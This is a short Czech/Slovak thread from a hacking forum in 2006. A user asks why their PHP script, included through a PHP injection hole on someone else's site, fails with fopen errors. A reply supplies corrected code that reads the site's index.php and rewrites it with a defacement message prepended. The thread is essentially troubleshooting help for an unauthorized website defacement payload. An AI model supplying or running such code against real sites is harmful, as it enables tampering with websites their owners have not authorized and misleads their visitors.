php injection error ??? co s tym?

HackForum

php injection error ??? co s tym?#
Preco ked inkkludujem tento skript
<?php
$subor = fopen("index.php", "r+");
fwrite = fwrite($subor, "Na tomto webe bola objavena vazna bezpecnostna chyba,...");
fclose($subor);


?> (ktory je na wz.cz)
na ic.cz (na stranqe ktora podporuje php injection)
Vyskakuje:

Warning: fopen() [function.fopen.php]: Unable to access url.php in [link] on line 2
//insert.txt je ten php injection skript

Warning: fopen(url.php) [function.fopen.php]: failed to open stream: No such file or directory in [link] on line 2

Warning: fwrite(): supplied argument is not a valid stream resource in [link] on line 3

Warning: fclose(): supplied argument is not a valid stream resource in [link] on line 4
co sa s tym da robit ???



(odpovědět)
Jogi 231.8.2006 11:46
re: php injection error ??? co s tym?#
<?php
$filename = "index.php";
$fp = fopen($filename,"r");
$data = fread( $fp, filesize( $filename ) );
fclose( $fp );
$uloz = "Na tomto webe bola objavena vazna bezpecnostna chyba,...(index.php)" . $data;
$fp = Fopen($filename, "w");
FWrite ($fp, $uloz);
fclose( $fp );
?>

Sám Php neumim, ale tohle mi kdysi jedna hodná osoba poradila.
(odpovědět)
Thommas31.8.2006 11:59
re: php injection error ??? co s tym?#
Thx wery much
(odpovědět)
Jogi 231.8.2006 17:12

Zpět
 
 
 

 
BBCode